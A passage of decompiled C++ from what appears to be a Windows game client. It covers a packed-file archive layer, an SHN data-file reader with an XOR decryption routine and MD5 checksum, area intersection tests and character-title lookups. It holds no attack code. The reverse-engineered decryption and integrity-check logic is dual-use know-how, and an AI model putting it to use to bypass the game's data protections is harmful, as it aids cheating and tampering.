v11->Chunk.___u2.TYPE_MAIN.NumNextChunkComes; if ( v8 ) *v8 -= *(_DWORD *)&v11->Chunk.gap114[0]; return result; } //----- (00568F80) -------------------------------------------------------- int __thiscall CGdp::fclose(CGdp *this, _iobuf *stream) { CGdp *v2; // esi@1 int result; // eax@2 v2 = this; if ( this->m_bIsGDPOpen ) { if ( this->m_bIsOpen ) { CGdp::GdpUpdateChunk(this, this->m_dwFileNo); v2->m_bIsOpen = 0; } result = 0; } else { result = fclose(stream); } return result; } //----- (00568FD0) -------------------------------------------------------- void __thiscall CGdp::CGdp(CGdp *this) { this->m_bWriteEncryptedHeader = 0; this->m_bWriteEncryptedData = 0; this->m_EncryptKey = 0; CGdp::Clear(this); } //----- (00568FF0) -------------------------------------------------------- int __thiscall CGdp::GdpCloseFile(CGdp *this) { CGdp::GDP_IO_TYPE v1; // eax@2 if ( this->m_bIsOpen ) { v1 = this->m_GdpIO; if ( !v1 ) return CGdp::CloseHandle(this, this->m_hFile); if ( v1 == 1 ) return CGdp::fclose(this, this->m_fpFile); } return 1; } //----- (00569030) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpMakeEmptyChunk(CGdp *this, unsigned int NumMakes) { CGdp *v2; // ebx@1 unsigned int result; // eax@1 unsigned int v4; // ebp@1 unsigned int v5; // eax@2 unsigned int v6; // esi@2 int v7; // ebp@3 unsigned int v8; // edi@10 int v9; // ebp@11 int v10; // esi@11 int *v11; // eax@12 CGdp::GDP_IO_TYPE v12; // ecx@14 DWORD v13; // eax@17 CGdp::GDP_CHUNK_LIST *v14; // edx@25 int v15; // esi@25 CGdp::GDP_IO_TYPE v16; // ecx@27 signed int v17; // eax@29 CGdp::GDP_CHUNK_LIST *v18; // ecx@39 unsigned int v19; // esi@39 unsigned int dwChunkEnd; // [sp+8h] [bp-148h]@2 unsigned int FPos; // [sp+Ch] [bp-144h]@8 unsigned int FPosHigh; // [sp+10h] [bp-140h]@8 CGdp::GDP_CHUNK Chunk; // [sp+14h] [bp-13Ch]@10 v2 = this; result = (unsigned int)malloc(324 * (NumMakes + this->m_dwNumChunk + 1)); v4 = result; if ( result ) { memcpy((void *)result, v2->m_pChunkList, 324 * v2->m_dwNumChunk); free(v2->m_pChunkList); v5 = v2->m_dwNumChunk; v6 = 0; v2->m_pChunkList = (CGdp::GDP_CHUNK_LIST *)v4; dwChunkEnd = 0; if ( v5 ) { v7 = v4 + 8; do { if ( *(_DWORD *)v7 == 5 ) break; ++v6; v7 += 324; } while ( v6 < v2->m_dwNumChunk ); dwChunkEnd = v6; } if ( v6 >= v5 || (FPosHigh = 0, FPos = CGdp::GdpSetFilePointer(v2, 0, (int *)&FPosHigh, 2u), FPos == -1) && GetLastError() ) return -1; memset(&Chunk, 0, sizeof(Chunk)); v8 = 1; Chunk.Type = 4; if ( NumMakes >= 1 ) { v9 = FPos; v10 = v6 + 1; while ( 1 ) { v11 = &v2->m_pChunkList[v10].ChunkFPosHigh; if ( &v2->m_pChunkList[v10] != (CGdp::GDP_CHUNK_LIST *)-4 ) *v11 = 0; v12 = v2->m_GdpIO; if ( v12 ) { if ( v12 == 1 && (v9 = ftell(v2->m_fpGDPFile)) != 0 ) { SetLastError(0x84u); v13 = -1; } else { v13 = v9; } } else { v13 = SetFilePointer(v2->m_hGDPFile, 0, v11, 1u); } v2->m_pChunkList[v10].ChunkFPos = v13; if ( v2->m_pChunkList[v10].ChunkFPos == -1 ) { if ( GetLastError() ) return -1; } if ( !CGdp::GdpWriteChunk(v2, &Chunk) ) return -1; v2->m_pChunkList[v10].Chunk.Type = 4; ++v8; ++v10; if ( v8 > NumMakes ) { v6 = dwChunkEnd; break; } } } v14 = v2->m_pChunkList; v15 = v8 + v6; Chunk.Type = 5; if ( &v14[v15] != (CGdp::GDP_CHUNK_LIST *)-4 ) v14[v15].ChunkFPosHigh = 0; v16 = v2->m_GdpIO; if ( v16 ) { if ( v16 == 1 ) { v17 = ftell(v2->m_fpGDPFile); if ( v17 ) { SetLastError(0x84u); v17 = -1; } } else { v17 = FPos; } } else { v17 = SetFilePointer(v2->m_hGDPFile, 0, &v14[v15].ChunkFPosHigh, 1u); } if ( (v2->m_pChunkList[v15].ChunkFPos = v17, v2->m_pChunkList[v15].ChunkFPos == -1) && GetLastError() || !CGdp::GdpWriteChunk(v2, &Chunk) || (v2->m_pChunkList[v15].Chunk.Type = 5, v2->m_pChunkList[dwChunkEnd].Chunk.Type = 1, v2->m_pChunkList[dwChunkEnd].Chunk.___u2.TYPE_MAIN.NumChunk = FPos, v2->m_pChunkList[dwChunkEnd].Chunk.___u2.TYPE_MAIN.NumNextChunkComes = FPosHigh, *(_DWORD *)&v2->m_pChunkList[dwChunkEnd].Chunk.gap114[0] = NumMakes + 1, CGdp::GdpSetFilePointer( v2, v2->m_pChunkList[dwChunkEnd].ChunkFPos, &v2->m_pChunkList[dwChunkEnd].ChunkFPosHigh, 0) == -1) && GetLastError() || !CGdp::GdpWriteChunk(v2, &v2->m_pChunkList[dwChunkEnd].Chunk) || (v18 = v2->m_pChunkList, v19 = NumMakes + 1 + v2->m_dwNumChunk, v2->m_dwNumChunk = v19, v18->Chunk.___u2.TYPE_MAIN.NumChunk = v19, !CGdp::GdpUpdateChunk(v2, 0)) ) return -1; result = dwChunkEnd + 1; } return result; } //----- (00569380) -------------------------------------------------------- int __thiscall CGdp::GdpClose(CGdp *this) { CGdp *v1; // esi@1 CGdp::GDP_IO_TYPE v2; // eax@2 CGdp::GDP_IO_TYPE v4; // eax@9 v1 = this; if ( this->m_bIsOpen ) { v2 = this->m_GdpIO; if ( v2 ) { if ( v2 == 1 && CGdp::fclose(this, this->m_fpFile) ) return 0; } else { if ( !CGdp::CloseHandle(this, this->m_hFile) ) return 0; } v1->m_bIsOpen = 0; } if ( v1->m_bIsGDPOpen ) { v4 = v1->m_GdpIO; v1->m_bIsGDPOpen = 0; if ( v4 ) { if ( v4 == 1 && !v1->m_bIsGDPOpenByFilePointer ) fclose(v1->m_fpGDPFile); } else { if ( !v1->m_bIsGDPOpenByHandle ) CloseHandle(v1->m_hGDPFile); } } if ( v1->m_pChunkList ) free(v1->m_pChunkList); CGdp::Clear(v1); return 1; } //----- (00569430) -------------------------------------------------------- int __thiscall CGdp::Open(CGdp *this, unsigned int GdpFileNo) { CGdp *v2; // esi@1 int result; // eax@2 unsigned int v4; // eax@8 void *v5; // edx@9 v2 = this; if ( this->m_bIsGDPOpen ) { if ( this->m_dwNumChunk >= GdpFileNo ) { if ( this->m_pChunkList[GdpFileNo].Chunk.Type == 2 && CGdp::GdpCloseFile(this) && (v4 = (unsigned int)&v2->m_pChunkList[GdpFileNo], v2->m_dwFileNo = GdpFileNo, v2->m_pFileChunk = (CGdp::GDP_CHUNK_LIST *)v4, v2->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes == CGdp::GdpSetFilePointer( v2, *(_DWORD *)(v4 + 280), (int *)(v4 + 284), 0)) ) { v5 = v2->m_hGDPFile; v2->m_fpFile = v2->m_fpGDPFile; result = 1; v2->m_hFile = v5; v2->m_bWritten = 0; v2->m_bIsOpen = 1; v2->m_bNew = 0; } else { result = 0; } } else { result = 0; } } else { result = 0; } return result; } //----- (005694F0) -------------------------------------------------------- int __thiscall CGdp::Open(CGdp *this, const char *lpFileName) { CGdp *v2; // esi@1 unsigned int v3; // eax@2 int result; // eax@3 v2 = this; if ( this->m_bIsGDPOpen && (v3 = CGdp::GdpSearchFile(this, lpFileName), v3 != -1) ) result = CGdp::Open(v2, v3); else result = 0; return result; } //----- (00569530) -------------------------------------------------------- unsigned int __thiscall CGdp::GdpGetEmptyChunk(CGdp *this) { unsigned int v1; // esi@1 unsigned int result; // eax@1 char *v3; // edx@2 v1 = this->m_dwNumChunk; result = 0; if ( v1 ) { v3 = (char *)&this->m_pChunkList->Chunk; while ( *(_DWORD *)v3 != 4 ) { ++result; v3 += 324; if ( result >= v1 ) goto LABEL_5; } } else { LABEL_5: result = CGdp::GdpMakeEmptyChunk(this, this->m_dwDefaultNumEmptyMakes); } return result; } //----- (00569570) -------------------------------------------------------- void *__thiscall CGdp::CreateFileA(CGdp *this, const char *lpFileName, unsigned int dwDesiredAccess, unsigned int dwShareMode, _SECURITY_ATTRIBUTES *lpSecurityAttributes, unsigned int dwCreationDisposition, unsigned int dwFlagsAndAttributes, void *hTemplateFile) { CGdp *v8; // esi@1 void *result; // eax@2 CGdp::GDP_IO_TYPE v10; // eax@4 const char *v11; // edi@9 unsigned int v12; // eax@20 int v13; // eax@21 _SYSTEMTIME SystemTime; // [sp+8h] [bp-10h]@21 v8 = this; if ( !this->m_bIsGDPOpen ) return CreateFileA( lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); if ( this->m_bIsOpen ) { v10 = this->m_GdpIO; if ( v10 ) { if ( v10 == 1 ) CGdp::fclose(this, this->m_fpFile); } else { CGdp::CloseHandle(this, this->m_hFile); } } switch ( dwCreationDisposition ) { case 1u: v11 = lpFileName; if ( CGdp::GdpSearchFile(v8, lpFileName) == -1 ) goto LABEL_Create_New; SetLastError(0xB7u); return (void *)-1; case 2u: v11 = lpFileName; CGdp::GdpDeleteFile(v8, lpFileName); goto LABEL_Create_New; case 3u: if ( !CGdp::Open(v8, lpFileName) ) goto LABEL_18; return v8->m_hFile; case 4u: v11 = lpFileName; if ( !CGdp::Open(v8, lpFileName) ) goto LABEL_Create_New; return v8->m_hFile; case 5u: v11 = lpFileName; if ( CGdp::GdpSearchFile(v8, lpFileName) != -1 ) { LABEL_18: SetLastError(0x490u); return (void *)-1; } if ( !CGdp::GdpDeleteFile(v8, 0xFFFFFFFFu) ) return (void *)-1; LABEL_Create_New: v12 = CGdp::GdpGetEmptyChunk(v8); v8->m_dwFileNo = v12; if ( v12 == -1 || (GetSystemTime(&SystemTime), v13 = (int)&v8->m_pChunkList[v8->m_dwFileNo], v8->m_pFileChunk = (CGdp::GDP_CHUNK_LIST *)v13, *(_DWORD *)(v13 + 8) = 2, strncpy(v8->m_pFileChunk->Chunk.___u2.TYPE_MAIN.Comment, v11, 0x103u), *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[4] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[8] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[12] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[16] = 0, SystemTimeToFileTime(&SystemTime, (LPFILETIME)&v8->m_pFileChunk->Chunk.gap114[20]), *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[28] = 0, *(_DWORD *)&v8->m_pFileChunk->Chunk.gap114[0] = 0, v8->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes = SetFilePointer( v8->m_hGDPFile, 0, (PLONG)v8->m_pFileChunk->Chunk.gap114, 2u), v8->m_pFileChunk->Chunk.___u2.TYPE_MAIN.NumNextChunkComes == -1) && GetLastError() ) return (void *)-1; result = v8->m_hGDPFile; v8->m_bWritten = 0; v8->m_fpFile = 0; v8->m_hFile = result; v8->m_bIsOpen = 1; v8->m_bNew = 1; return result; default: return (void *)-1; } } //----- (005697F0) -------------------------------------------------------- void __thiscall CSocket_Acceptor_Process::CSocket_Acceptor_Process(CSocket_Acceptor_Process *this) { CSocket_Acceptor_Process *v1; // eax@1 char *v2; // ecx@1 v1 = this; v2 = (char *)&this->m_DefaultProcess; *(_DWORD *)v2 = &CSocket_Acceptor_Process_Interface::_vftable_; v1->m_pProcess = (CSocket_Acceptor_Process_Interface *)v2; } // 5E803C: using guessed type int (__stdcall *CSocket_Acceptor_Process_Interface___vftable_)(int pOverlapped, int NumOfBytes); //----- (00569800) -------------------------------------------------------- void __thiscall CDataReader::CDataReader(CDataReader *this) { *(_QWORD *)&this->m_sFileMD5.n8_name[24] = 0i64; *(_QWORD *)&this->m_sFileMD5.n8_name[16] = 0i64; *(_QWORD *)&this->m_sFileMD5.n8_name[8] = 0i64; *(_QWORD *)&this->m_sFileMD5.n8_name[0] = 0i64; this->m_pHead = 0; this->m_nBFSize = 0; this->m_nDataArraySize = 0; this->m_nFileCheckSum = 0; } //----- (00569830) -------------------------------------------------------- void __thiscall CDataReader::ClearBF(CDataReader *this) { CDataReader *v1; // esi@1 v1 = this; if ( this->m_nBFSize ) { operator delete(this->m_pHead); v1->m_pHead = 0; v1->m_pData = 0; } v1->m_nBFSize = 0; v1->m_nFileCheckSum = 0; } //----- (00569860) -------------------------------------------------------- void __cdecl CDataReader::Encription(CDataReader *this, char *pBF, unsigned int nSize) { char v3; // al@1 char *i; // ecx@1 char v5; // dl@2 v3 = (char)pBF; for ( i = pBF - 1; (signed int)i >= 0; LOBYTE(pBF) = v5 ) { *((_BYTE *)&this->m_nFileSize + (_DWORD)i) ^= v3; v5 = (unsigned __int8)pBF ^ 11 * (_BYTE)i ^ (((unsigned __int8)i & 0xF) + 85) ^ 0xAA; --i; v3 = v5; } } //----- (005698A0) -------------------------------------------------------- void *__thiscall CDataReader::GetRecord(CDataReader *this, unsigned int RecordNo) { CDataReader::HEAD *v2; // eax@1 void *result; // eax@3 v2 = this->m_pHead; if ( v2 && RecordNo < v2->nNumOfRecord ) result = this->m_pDataArray[RecordNo]; else result = 0; return result; } //----- (005698C0) -------------------------------------------------------- void __thiscall CDataReader::_CDataReader(CDataReader *this) { CDataReader *v1; // esi@1 bool v2; // zf@3 v1 = this; if ( this->m_nBFSize ) { operator delete(this->m_pHead); v1->m_pHead = 0; v1->m_pData = 0; } v2 = v1->m_nDataArraySize == 0; v1->m_nBFSize = 0; v1->m_nFileCheckSum = 0; if ( !v2 ) operator delete__(v1->m_pDataArray); v1->m_nDataArraySize = 0; } //----- (00569900) -------------------------------------------------------- int __thiscall CDataReader::Read(CDataReader *this, const char *pFN) { CDataReader *v2; // esi@1 _iobuf *v3; // eax@1 _iobuf *v4; // edi@1 int v5; // eax@2 int v6; // eax@2 unsigned int v7; // ecx@2 void *v8; // eax@5 unsigned int v9; // edx@5 unsigned int v10; // ebp@6 CDataReader::HEAD *v11; // eax@10 CDataReader::HEAD *v12; // eax@13 unsigned int v13; // edi@14 unsigned int v14; // eax@16 char *v15; // eax@20 unsigned int i; // ecx@20 unsigned int v17; // edx@22 unsigned int v18; // eax@22 CDataReader::HEAD *v19; // ecx@23 char *v20; // eax@25 int v21; // esi@27 int result; // eax@33 Name8 v23; // [sp-30h] [bp-5Ch]@27 char *v24; // [sp-1Ch] [bp-48h]@27 const char *v25; // [sp-18h] [bp-44h]@27 unsigned int v26; // [sp-14h] [bp-40h]@5 unsigned int v27; // [sp-10h] [bp-3Ch]@12 std::basic_string,std::allocator > sFileMD5; // [sp+0h] [bp-2Ch]@25 unsigned int cookie; // [sp+1Ch] [bp-10h]@33 int v30; // [sp+28h] [bp-4h]@25 v2 = this; v3 = fopen(pFN, "rb"); v4 = v3; if ( v3 ) { v5 = fileno(v3); v6 = filelength(v5); v7 = v2->m_nBFSize; v2->m_nFileSize = v6; if ( v7 < v6 ) { if ( v7 ) { operator delete(v2->m_pHead); v2->m_pHead = 0; v2->m_pData = 0; } v26 = v2->m_nFileSize; v2->m_nBFSize = 0; v2->m_nFileCheckSum = 0; v8 = operator new__(v26); v9 = v2->m_nFileSize; v2->m_pHead = (CDataReader::HEAD *)v8; v2->m_pData = 0; v2->m_nBFSize = v9; } v10 = fread(v2->m_pHead, v2->m_nFileSize, 1u, v4); fclose(v4); if ( v10 == 1 ) { v11 = v2->m_pHead; if ( v11 && v11->nDataMode ) CDataReader::Encription((CDataReader *)&v11->nDataSize, (char *)(v2->m_nFileSize - 36), v27); v12 = v2->m_pHead; v2->m_pData = (char *)&v12[1] + 56 * v12->nNumOfField; if ( v12 ) v13 = v12->nNumOfRecord; else v13 = 0; v14 = v2->m_nDataArraySize; if ( v14 < v13 ) { if ( v14 ) operator delete__(v2->m_pDataArray); v26 = 4 * v13; v2->m_nDataArraySize = 0; v2->m_pDataArray = (char **)operator new__(v26); v2->m_nDataArraySize = v13; } v15 = v2->m_pData; for ( i = 0; i < v13; ++i ) { v2->m_pDataArray[i] = v15 + 2; v15 += *(_WORD *)v15; } v17 = v2->m_nBFSize; v18 = 0; v2->m_nFileCheckSum = 0; if ( v17 > 0 ) { v19 = v2->m_pHead; do { v2->m_nFileCheckSum += v18 * *((_BYTE *)&v19->nVersionKey + v18); ++v18; } while ( v18 < v2->m_nBFSize ); } CMD5Checksum::GetMD5(&sFileMD5, (char *)v2->m_pHead, v17); v20 = *(char **)&sFileMD5._Bx._Buf[0]; v30 = 0; if ( sFileMD5._Myres < 0x10 ) v20 = (char *)&sFileMD5._Bx; v21 = (int)&v2->m_sFileMD5; v26 = 32; v25 = v20; v24 = (char *)v21; *(_DWORD *)(v21 + 28) = 0; *(_DWORD *)(v21 + 24) = 0; *(_DWORD *)(v21 + 20) = 0; *(_DWORD *)(v21 + 16) = 0; *(_DWORD *)(v21 + 12) = 0; *(_DWORD *)(v21 + 8) = 0; *(_DWORD *)(v21 + 4) = 0; *(_DWORD *)v21 = 0; strncpy(v24, v25, v26); memcpy(&v23, (const void *)v21, sizeof(v23)); if ( CShnDataFileCheckSum::InitDataFileCheckSum(&ShnDataFile, pFN, v23) ) { if ( sFileMD5._Myres >= 0x10 ) operator delete(*(void **)&sFileMD5._Bx._Buf[0]); } else { if ( sFileMD5._Myres >= 0x10 ) operator delete(*(void **)&sFileMD5._Bx._Buf[0]); } } else { if ( v2->m_nBFSize ) { operator delete(v2->m_pHead); v2->m_pHead = 0; v2->m_pData = 0; } v2->m_nBFSize = 0; v2->m_nFileCheckSum = 0; } } __security_check_cookie(cookie); return result; } //----- (00569B50) -------------------------------------------------------- int __thiscall CDataReader::Read(CDataReader *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize) { CDataReader *v4; // esi@1 int result; // eax@2 CDataReader::HEAD *v6; // eax@3 v4 = this; if ( CDataReader::Read(this, pFN) && (v6 = v4->m_pHead, v6->nVersionKey == nVersionKey) ) result = v6->nFieldSize - 2 == nStructSize; else result = 0; return result; } //----- (00569B90) -------------------------------------------------------- bool __thiscall AreaInfoData::AE_Circle::IntersectTest(AreaInfoData::AE_Circle *this, float fX, float fY) { __int16 v3; // fps@1 unsigned __int8 v4; // c0@1 unsigned __int8 v5; // c3@1 bool result; // al@2 UNDEF(v3); if ( v4 | v5 ) result = 0; else result = 1; return result; } //----- (00569BD0) -------------------------------------------------------- bool __thiscall AreaInfoData::AE_Square::IntersectTest(AreaInfoData::AE_Square *this, float fX, float fY) { double v3; // st7@1 double v4; // st6@1 long double v5; // st5@1 long double v6; // st5@1 long double v7; // st5@1 float fXa; // [sp+4h] [bp+4h]@1 float fCos; // [sp+8h] [bp+8h]@1 v3 = fX - this->fCenterX; v4 = fY - this->fCenterY; v5 = -this->fAngle; fXa = cos(v5); v6 = sin(v5); fCos = v6 * v4 + fXa * v3; v7 = fXa * v4 - v6 * v3; return -this->fRadiusV <= v7 && v7 <= this->fRadiusV && -this->fRadiusU <= fCos && this->fRadiusU >= (double)fCos; } //----- (00569C50) -------------------------------------------------------- void __thiscall AreaInfoData::AreaInfoData(AreaInfoData *this) { this->vfptr = (AreaInfoDataVtbl *)&AreaInfoData::_vftable_; this->m_uiTotalDataCnt = 0; memset(this->m_pData, 0, sizeof(this->m_pData)); } // 5E8040: using guessed type int (__thiscall *AreaInfoData___vftable_)(void *p, char); //----- (00569C80) -------------------------------------------------------- AreaInfoData::IAreaData *__thiscall AreaInfoData::GetData(AreaInfoData *this, Name8 *Name) { unsigned int v2; // edi@1 unsigned int v3; // edx@1 AreaInfoData::IAreaData **v4; // esi@2 AreaInfoData::IAreaData *result; // eax@3 v2 = this->m_uiTotalDataCnt; v3 = 0; if ( v2 ) { v4 = this->m_pData; do { result = *v4; if ( !*v4 ) break; if ( *(_DWORD *)&Name->n8_name[0] == *(_DWORD *)&result->Name.n8_name[0] && *(_DWORD *)&Name->n8_name[4] == *(_DWORD *)&result->Name.n8_name[4] && *(_DWORD *)&Name->n8_name[8] == *(_DWORD *)&result->Name.n8_name[8] && *(_DWORD *)&Name->n8_name[12] == *(_DWORD *)&result->Name.n8_name[12] && *(_DWORD *)&Name->n8_name[16] == *(_DWORD *)&result->Name.n8_name[16] && *(_DWORD *)&Name->n8_name[20] == *(_DWORD *)&result->Name.n8_name[20] && *(_DWORD *)&Name->n8_name[24] == *(_DWORD *)&result->Name.n8_name[24] && *(_DWORD *)&Name->n8_name[28] == *(_DWORD *)&result->Name.n8_name[28] ) return result; ++v3; ++v4; } while ( v3 < v2 ); } return 0; } //----- (00569CF0) -------------------------------------------------------- void __thiscall AreaInfoData::RemoveAll(AreaInfoData *this) { void **v1; // esi@1 signed int v2; // edi@1 this->m_uiTotalDataCnt = 0; v1 = (void **)this->m_pData; v2 = 256; do { if ( *v1 ) operator delete(*v1); *v1 = 0; ++v1; --v2; } while ( v2 ); } //----- (00569D30) -------------------------------------------------------- void __thiscall AreaInfoData::_AreaInfoData(AreaInfoData *this) { this->vfptr = (AreaInfoDataVtbl *)&AreaInfoData::_vftable_; AreaInfoData::RemoveAll(this); } // 5E8040: using guessed type int (__thiscall *AreaInfoData___vftable_)(void *p, char); //----- (00569D40) -------------------------------------------------------- bool __thiscall AreaInfoData::Load(AreaInfoData *this, const char *szFileName) { AreaInfoData *v2; // esi@1 _iobuf *v3; // ebx@1 bool result; // al@2 int v5; // ebp@4 void *v6; // eax@7 void *v7; // esi@8 int v8; // edx@10 void *v9; // eax@12 void *v10; // esi@13 int v11; // ecx@15 void *v12; // esi@15 unsigned int i; // [sp+Ch] [bp-4Ch]@3 int v14; // [sp+10h] [bp-48h]@3 Name8 Name; // [sp+14h] [bp-44h]@6 char szName[32]; // [sp+34h] [bp-24h]@6 v2 = this; v3 = fopen(szFileName, "rb"); if ( v3 ) { AreaInfoData::RemoveAll(v2); v14 = (int)&v2->m_uiTotalDataCnt; fread(&v2->m_uiTotalDataCnt, 4u, 1u, v3); i = 0; if ( v2->m_uiTotalDataCnt ) { v5 = (int)v2->m_pData; do { if ( i >= 0x100 ) break; *(_QWORD *)&Name.n8_name[24] = 0i64; *(_QWORD *)&Name.n8_name[16] = 0i64; *(_QWORD *)&Name.n8_name[8] = 0i64; *(_QWORD *)&Name.n8_name[0] = 0i64; fread(szName, 1u, 0x20u, v3); *(_QWORD *)&Name.n8_name[24] = 0i64; *(_QWORD *)&Name.n8_name[16] = 0i64; *(_QWORD *)&Name.n8_name[8] = 0i64; *(_QWORD *)&Name.n8_name[0] = 0i64; strncpy(Name.n8_name, szName, 0x20u); fread(&szFileName, 4u, 1u, v3); if ( szFileName ) { if ( szFileName == (const char *)1 ) { v9 = operator new(0x3Cu); if ( v9 ) { *((_DWORD *)v9 + 8) = 0; *((_DWORD *)v9 + 7) = 0; *((_DWORD *)v9 + 6) = 0; *((_DWORD *)v9 + 5) = 0; *((_DWORD *)v9 + 4) = 0; *((_DWORD *)v9 + 3) = 0; *((_DWORD *)v9 + 2) = 0; *((_DWORD *)v9 + 1) = 0; *(_DWORD *)v9 = AreaInfoData::AE_Square::_vftable_; v10 = v9; } else { v10 = 0; } v11 = *(_DWORD *)&Name; *(_DWORD *)v5 = v10; *((_DWORD *)v10 + 1) = v11; *((_QWORD *)v10 + 1) = *(_QWORD *)&Name.n8_name[4]; *((_QWORD *)v10 + 2) = *(_QWORD *)&Name.n8_name[12]; *((_QWORD *)v10 + 3) = *(_QWORD *)&Name.n8_name[20]; *((_DWORD *)v10 + 8) = *(_DWORD *)&Name.n8_name[28]; *((_DWORD *)v10 + 9) = szFileName; fread((char *)v10 + 40, 4u, 1u, v3); fread((char *)v10 + 44, 4u, 1u, v3); fread((char *)v10 + 48, 4u, 1u, v3); fread((char *)v10 + 52, 4u, 1u, v3); v12 = (char *)v10 + 56; fread(v12, 4u, 1u, v3); *(float *)v12 = atan2(1.0, 1.0) * 4.0 * *(float *)v12 * 0.0055555557; } } else { v6 = operator new(0x34u); if ( v6 ) { *((_DWORD *)v6 + 8) = 0; *((_DWORD *)v6 + 7) = 0; *((_DWORD *)v6 + 6) = 0; *((_DWORD *)v6 + 5) = 0; *((_DWORD *)v6 + 4) = 0; *((_DWORD *)v6 + 3) = 0; *((_DWORD *)v6 + 2) = 0; *((_DWORD *)v6 + 1) = 0; *(_DWORD *)v6 = &AreaInfoData::AE_Circle::_vftable_; v7 = v6; } else { v7 = 0; } v8 = *(_DWORD *)&Name; *(_DWORD *)v5 = v7; *((_DWORD *)v7 + 1) = v8; *((_QWORD *)v7 + 1) = *(_QWORD *)&Name.n8_name[4]; *((_QWORD *)v7 + 2) = *(_QWORD *)&Name.n8_name[12]; *((_QWORD *)v7 + 3) = *(_QWORD *)&Name.n8_name[20]; *((_DWORD *)v7 + 8) = *(_DWORD *)&Name.n8_name[28]; *((_DWORD *)v7 + 9) = szFileName; fread((char *)v7 + 40, 4u, 1u, v3); fread((char *)v7 + 44, 4u, 1u, v3); fread((char *)v7 + 48, 4u, 1u, v3); } v5 += 4; ++i; } while ( i < *(_DWORD *)v14 ); } fclose(v3); result = 1; } else { result = 0; } return result; } // 5E8044: using guessed type int (__stdcall *AreaInfoData__AE_Square___vftable_[2])(float fX, float fCos); // 5E8048: using guessed type int (__stdcall *AreaInfoData__AE_Circle___vftable_)(float fX, float fY); //----- (0056A010) -------------------------------------------------------- void *__thiscall AreaInfoData::_vector_deleting_destructor_(AreaInfoData *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (AreaInfoDataVtbl *)&AreaInfoData::_vftable_; AreaInfoData::RemoveAll(this); if ( a2 & 1 ) operator delete(v2); return v2; } // 5E8040: using guessed type int (__thiscall *AreaInfoData___vftable_)(void *p, char); //----- (0056A050) -------------------------------------------------------- CHARACTER_TITLE_DATA *__thiscall CCharacterTitleData::GetGroupData(CCharacterTitleData *this, char Type) { CDataReader::HEAD *v2; // eax@1 CHARACTER_TITLE_DATA *result; // eax@3 v2 = this->m_CharacterTitleData.m_pHead; if ( v2 && (unsigned __int8)Type < v2->nNumOfRecord ) result = (CHARACTER_TITLE_DATA *)CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type); else result = 0; return result; } //----- (0056A080) -------------------------------------------------------- const char *__thiscall CCharacterTitleData::GetTitleString(CCharacterTitleData *this, char Type, char ElementNo) { CDataReader::HEAD *v3; // eax@1 void *v4; // eax@3 const char *result; // eax@5 v3 = this->m_CharacterTitleData.m_pHead; if ( v3 && (unsigned __int8)Type < v3->nNumOfRecord && (v4 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) { switch ( ElementNo ) { case 0: result = (char *)v4 + 4; break; case 1: result = (char *)v4 + 44; break; case 2: result = (char *)v4 + 84; break; case 3: result = (char *)v4 + 124; break; default: goto LABEL_9; } } else { LABEL_9: result = szCTNull; } return result; } //----- (0056A0E0) -------------------------------------------------------- unsigned int __thiscall CCharacterTitleData::GetTitleValue(CCharacterTitleData *this, char Type, char ElementNo) { CDataReader::HEAD *v3; // eax@1 void *v4; // eax@3 unsigned int result; // eax@5 v3 = this->m_CharacterTitleData.m_pHead; if ( v3 && (unsigned __int8)Type < v3->nNumOfRecord && (v4 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) { switch ( ElementNo ) { case 0: result = *((_DWORD *)v4 + 9); break; case 1: result = *((_DWORD *)v4 + 19); break; case 2: result = *((_DWORD *)v4 + 29); break; case 3: result = *((_DWORD *)v4 + 39); break; default: goto LABEL_9; } } else { LABEL_9: result = 0; } return result; } //----- (0056A140) -------------------------------------------------------- unsigned int __thiscall CCharacterTitleData::GetTitleFame(CCharacterTitleData *this, char Type, char ElementNo) { CDataReader::HEAD *v3; // eax@1 void *v4; // eax@3 unsigned int result; // eax@5 v3 = this->m_CharacterTitleData.m_pHead; if ( v3 && (unsigned __int8)Type < v3->nNumOfRecord && (v4 = CDataReader::GetRecord(&this->m_CharacterTitleData, (unsigned __int8)Type)) != 0 ) { switch ( ElementNo ) { case 0: result = *((_DWORD *)v4 + 10); break; case 1: result = *((_DWORD *)v4 + 20); break; case 2: result = *((_DWORD *)v4 + 30); break; case 3: result = *((_DWORD *)v4 + 40); break; default: goto LABEL_9; } } else { LABEL_9: result = 0; } return result; } //----- (0056A1A0) -------------------------------------------------------- CT_TITLE *__thiscall CCharacterTitle::GetGroupTitle(CCharacterTitle *this, char Type) { CT_TITLE *result; // eax@2 if ( (unsigned __int8)Type < 0x3Du ) result = &this->m_Titles[(unsigned __int8)Type]; else result = 0; return result; } //----- (0056A1C0) -------------------------------------------------------- CT_ELEMENT_VALUE __thiscall CCharacterTitle::GetTitleStatus(CCharacterTitle *this, char Type, char ElementNo) { char *v3; // eax@2 CT_ELEMENT_VALUE result; // eax@4 if ( (unsigned __int8)Type >= 0x3Du || (v3 = (char *)&this->m_Titles[(unsigned __int8)Type], (CCharacterTitle *)((char *)this + (unsigned __int8)Type) == (CCharacterTitle *)-4) ) { LABEL_8: result = 0; } else { switch ( ElementNo ) { case 0: result = *v3 & 3; break; case 1: result = ((unsigned int)(unsigned __int8)*v3 >> 2) & 3; break; case 2: result = ((unsigned int)(unsigned __int8)*v3 >> 4) & 3; break; case 3: result = (unsigned int)(unsigned __int8)*v3 >> 6; break; default: goto LABEL_8; } } return result; } //----- (0056A230) -------------------------------------------------------- int __thiscall CCharacterTitle::IsUsableTitle(CCharacterTitle *this, char Type, char ElementNo, unsigned __int16 MobID) { int result; // eax@3 if ( Type && Type != 10 ) result = (signed int)CCharacterTitle::GetTitleStatus(this, Type, ElementNo) >= 2; else result = 1; return result; } 